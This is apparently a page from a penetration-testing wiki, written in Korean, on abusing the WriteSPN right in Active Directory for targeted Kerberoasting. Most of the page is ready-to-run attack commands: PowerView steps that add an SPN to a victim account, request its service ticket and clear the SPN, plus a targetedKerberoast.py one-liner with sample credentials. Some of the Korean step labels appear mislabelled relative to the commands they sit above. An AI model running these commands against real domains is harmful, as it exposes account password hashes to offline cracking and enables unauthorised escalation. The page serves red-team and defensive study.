> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/dacl/writespn.md).

# WriteSPN

대상에 대해 WriteSPN 권한이 있는 경우 공격자는 대상을 주체로 도메인 SPN을 등록할 수 있습니다. SPN 등록 직후 서비스 티켓을 요청하여 커버로스팅 공격을 하고 SPN을 삭제합니다.

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 권한이 있는 사용자 개체 정보 변수화
</strong>$SecPassword = ConvertTo-SecureString &#x3C;PASS> -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(contoso.com/user-A, $SecPassword)

<strong># 도메인 객체 정보 저장
</strong>Set-DomainObject -Credential $Cred -Identity user-B -SET @{serviceprincipalname='nonexistent/HTTP'}

<strong># SPN 등록
</strong>Get-DomainSPNTicket -Credential $Cred user-B | fl

<strong># 공격 후 SPN 정리
</strong>Set-DomainObject -Credential $Cred -Identity user-B -Clear &#x3C;SPN>
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

```bash
python3 targetedKerberoast.py -v -d contoso.com -u user-A -p 'Password123!' --request-user user-B --only-abuse
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17222775975195-WriteSPN>" %}
